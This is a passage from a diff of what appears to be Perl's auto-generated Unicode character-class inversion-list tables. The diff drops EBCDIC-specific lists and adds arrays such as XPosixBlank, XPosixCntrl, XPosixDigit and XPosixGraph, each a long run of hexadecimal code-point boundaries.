0xA640, + 0xA66F, + 0xA674, + 0xA67C, + 0xA67F, + 0xA6F0, + 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, + 0xA7AF, + 0xA7B0, 0xA7B8, - 0xA7F8, - 0xA7FB, + 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA828, + 0xA840, + 0xA874, + 0xA880, + 0xA8C4, + 0xA8C5, + 0xA8C6, + 0xA8F2, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA90A, + 0xA92B, + 0xA930, + 0xA953, + 0xA960, + 0xA97D, + 0xA980, + 0xA9B3, + 0xA9B4, + 0xA9C0, + 0xA9CF, + 0xA9D0, + 0xA9E0, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA60, + 0xAA77, + 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAABF, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAC3, + 0xAADB, + 0xAADE, + 0xAAE0, + 0xAAF0, + 0xAAF2, + 0xAAF6, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, 0xAB30, 0xAB5B, 0xAB5C, 0xAB66, 0xAB70, - 0xABC0, + 0xABEB, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, 0xFB00, 0xFB07, 0xFB13, 0xFB18, + 0xFB1D, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBB2, + 0xFBD3, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFC, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFF21, + 0xFF3B, 0xFF41, 0xFF5B, - 0x10428, - 0x10450, + 0xFF66, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10140, + 0x10175, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x1049E, + 0x104B0, + 0x104D4, 0x104D8, 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, + 0x10877, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, + 0x10AC8, + 0x10AC9, + 0x10AE5, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, 0x10CC0, 0x10CF3, - 0x118C0, + 0x11000, + 0x11046, + 0x11082, + 0x110B9, + 0x110D0, + 0x110E9, + 0x11100, + 0x11133, + 0x11150, + 0x11173, + 0x11176, + 0x11177, + 0x11180, + 0x111C0, + 0x111C1, + 0x111C5, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, + 0x11235, + 0x11237, + 0x11238, + 0x1123E, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112B0, + 0x112E9, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133D, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134D, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11400, + 0x11442, + 0x11443, + 0x11446, + 0x11447, + 0x1144B, + 0x11480, + 0x114C2, + 0x114C4, + 0x114C6, + 0x114C7, + 0x114C8, + 0x11580, + 0x115B6, + 0x115B8, + 0x115BF, + 0x115D8, + 0x115DE, + 0x11600, + 0x1163F, + 0x11640, + 0x11641, + 0x11644, + 0x11645, + 0x11680, + 0x116B6, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172B, + 0x118A0, 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C3F, + 0x11C40, + 0x11C41, + 0x11C72, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16AD0, + 0x16AEE, + 0x16B00, + 0x16B37, + 0x16B40, + 0x16B44, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9E, + 0x1BC9F, + 0x1D400, 0x1D455, 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, 0x1D4BA, 0x1D4BB, 0x1D4BC, 0x1D4BD, 0x1D4C4, 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, 0x1D51E, - 0x1D538, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, 0x1D6A6, + 0x1D6A8, + 0x1D6C1, 0x1D6C2, 0x1D6DB, 0x1D6DC, - 0x1D6E2, + 0x1D6FB, 0x1D6FC, 0x1D715, 0x1D716, - 0x1D71C, + 0x1D735, 0x1D736, 0x1D74F, 0x1D750, - 0x1D756, + 0x1D76F, 0x1D770, 0x1D789, 0x1D78A, - 0x1D790, + 0x1D7A9, 0x1D7AA, 0x1D7C3, 0x1D7C4, - 0x1D7CA, - 0x1D7CB, 0x1D7CC, - 0x1E922, - 0x1E944 + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E900, + 0x1E944, + 0x1E947, + 0x1E948, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E }; -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__LO_invlist[] = { /* for EBCDIC 1047 */ - 1287, /* Number of elements */ +static const UV XPosixBlank_invlist[] = { /* for ASCII/Latin1 */ + 17, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, + 0x9, + 0xA, + 0x20, + 0x21, 0xA0, 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BD, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2E0, - 0x2E5, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37A, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, + 0x1680, + 0x1681, + 0x2000, + 0x200B, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x3000, + 0x3001 +}; + +static const UV XPosixCntrl_invlist[] = { /* for ASCII/Latin1 */ + 4, /* Number of elements */ + 148565664, /* Version and data structure type */ + 0, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x20, + 0x7F, + 0xA0 +}; + +static const UV XPosixDigit_invlist[] = { /* for ASCII/Latin1 */ + 109, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x30, + 0x3A, + 0x660, + 0x66A, + 0x6F0, + 0x6FA, + 0x7C0, + 0x7CA, + 0x966, + 0x970, + 0x9E6, + 0x9F0, + 0xA66, + 0xA70, + 0xAE6, + 0xAF0, + 0xB66, + 0xB70, + 0xBE6, + 0xBF0, + 0xC66, + 0xC70, + 0xCE6, + 0xCF0, + 0xD66, + 0xD70, + 0xDE6, + 0xDF0, + 0xE50, + 0xE5A, + 0xED0, + 0xEDA, + 0xF20, + 0xF2A, + 0x1040, + 0x104A, + 0x1090, + 0x109A, + 0x17E0, + 0x17EA, + 0x1810, + 0x181A, + 0x1946, + 0x1950, + 0x19D0, + 0x19DA, + 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1B50, + 0x1B5A, + 0x1BB0, + 0x1BBA, + 0x1C40, + 0x1C4A, + 0x1C50, + 0x1C5A, + 0xA620, + 0xA62A, + 0xA8D0, + 0xA8DA, + 0xA900, + 0xA90A, + 0xA9D0, + 0xA9DA, + 0xA9F0, + 0xA9FA, + 0xAA50, + 0xAA5A, + 0xABF0, + 0xABFA, + 0xFF10, + 0xFF1A, + 0x104A0, + 0x104AA, + 0x11066, + 0x11070, + 0x110F0, + 0x110FA, + 0x11136, + 0x11140, + 0x111D0, + 0x111DA, + 0x112F0, + 0x112FA, + 0x11450, + 0x1145A, + 0x114D0, + 0x114DA, + 0x11650, + 0x1165A, + 0x116C0, + 0x116CA, + 0x11730, + 0x1173A, + 0x118E0, + 0x118EA, + 0x11C50, + 0x11C5A, + 0x16A60, + 0x16A6A, + 0x16B50, + 0x16B5A, + 0x1D7CE, + 0x1D800, + 0x1E950, + 0x1E95A +}; + +static const UV XPosixGraph_invlist[] = { /* for ASCII/Latin1 */ + 1287, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x21, + 0x7F, + 0xA1, + 0x378, + 0x37A, + 0x380, + 0x384, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, 0x530, + 0x531, + 0x557, + 0x559, + 0x560, 0x561, 0x588, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, + 0x74D, + 0x7B2, + 0x7C0, + 0x7FB, + 0x800, + 0x82E, + 0x830, + 0x83F, + 0x840, + 0x85C, + 0x85E, + 0x85F, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x984, + 0x985, + 0x98D, + 0x98F, + 0x991, + 0x993, + 0x9A9, + 0x9AA, + 0x9B1, + 0x9B2, + 0x9B3, + 0x9B6, + 0x9BA, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CF, + 0x9D7, + 0x9D8, + 0x9DC, + 0x9DE, + 0x9DF, + 0x9E4, + 0x9E6, + 0x9FC, + 0xA01, + 0xA04, + 0xA05, + 0xA0B, + 0xA0F, + 0xA11, + 0xA13, + 0xA29, + 0xA2A, + 0xA31, + 0xA32, + 0xA34, + 0xA35, + 0xA37, + 0xA38, + 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA59, + 0xA5D, + 0xA5E, + 0xA5F, + 0xA66, + 0xA76, + 0xA81, + 0xA84, + 0xA85, + 0xA8E, + 0xA8F, + 0xA92, + 0xA93, + 0xAA9, + 0xAAA, + 0xAB1, + 0xAB2, + 0xAB4, + 0xAB5, + 0xABA, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, + 0xAD0, + 0xAD1, + 0xAE0, + 0xAE4, + 0xAE6, + 0xAF2, + 0xAF9, + 0xAFA, + 0xB01, + 0xB04, + 0xB05, + 0xB0D, + 0xB0F, + 0xB11, + 0xB13, + 0xB29, + 0xB2A, + 0xB31, + 0xB32, + 0xB34, + 0xB35, + 0xB3A, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, + 0xB5C, + 0xB5E, + 0xB5F, + 0xB64, + 0xB66, + 0xB78, + 0xB82, + 0xB84, + 0xB85, + 0xB8B, + 0xB8E, + 0xB91, + 0xB92, + 0xB96, + 0xB99, + 0xB9B, + 0xB9C, + 0xB9D, + 0xB9E, + 0xBA0, + 0xBA3, + 0xBA5, + 0xBA8, + 0xBAB, + 0xBAE, + 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, + 0xBD0, + 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, + 0xC05, + 0xC0D, + 0xC0E, + 0xC11, + 0xC12, + 0xC29, + 0xC2A, + 0xC3A, + 0xC3D, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC58, + 0xC5B, + 0xC60, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, + 0xC85, + 0xC8D, + 0xC8E, + 0xC91, + 0xC92, + 0xCA9, + 0xCAA, + 0xCB4, + 0xCB5, + 0xCBA, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCDE, + 0xCDF, + 0xCE0, + 0xCE4, + 0xCE6, + 0xCF0, + 0xCF1, + 0xCF3, + 0xD01, + 0xD04, + 0xD05, + 0xD0D, + 0xD0E, + 0xD11, + 0xD12, + 0xD3B, + 0xD3D, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, + 0xD54, + 0xD64, + 0xD66, + 0xD80, + 0xD82, + 0xD84, + 0xD85, + 0xD97, + 0xD9A, + 0xDB2, + 0xDB3, + 0xDBC, + 0xDBD, + 0xDBE, + 0xDC0, + 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, + 0xE01, + 0xE3B, + 0xE3F, + 0xE5C, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, + 0xF00, + 0xF48, + 0xF49, + 0xF6D, + 0xF71, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFCD, + 0xFCE, + 0xFDB, + 0x1000, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x10D0, + 0x1249, + 0x124A, + 0x124E, + 0x1250, + 0x1257, + 0x1258, + 0x1259, + 0x125A, + 0x125E, + 0x1260, + 0x1289, + 0x128A, + 0x128E, + 0x1290, + 0x12B1, + 0x12B2, + 0x12B6, + 0x12B8, + 0x12BF, + 0x12C0, + 0x12C1, + 0x12C2, + 0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, + 0x135D, + 0x137D, + 0x1380, + 0x139A, + 0x13A0, + 0x13F6, 0x13F8, 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1DC0, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 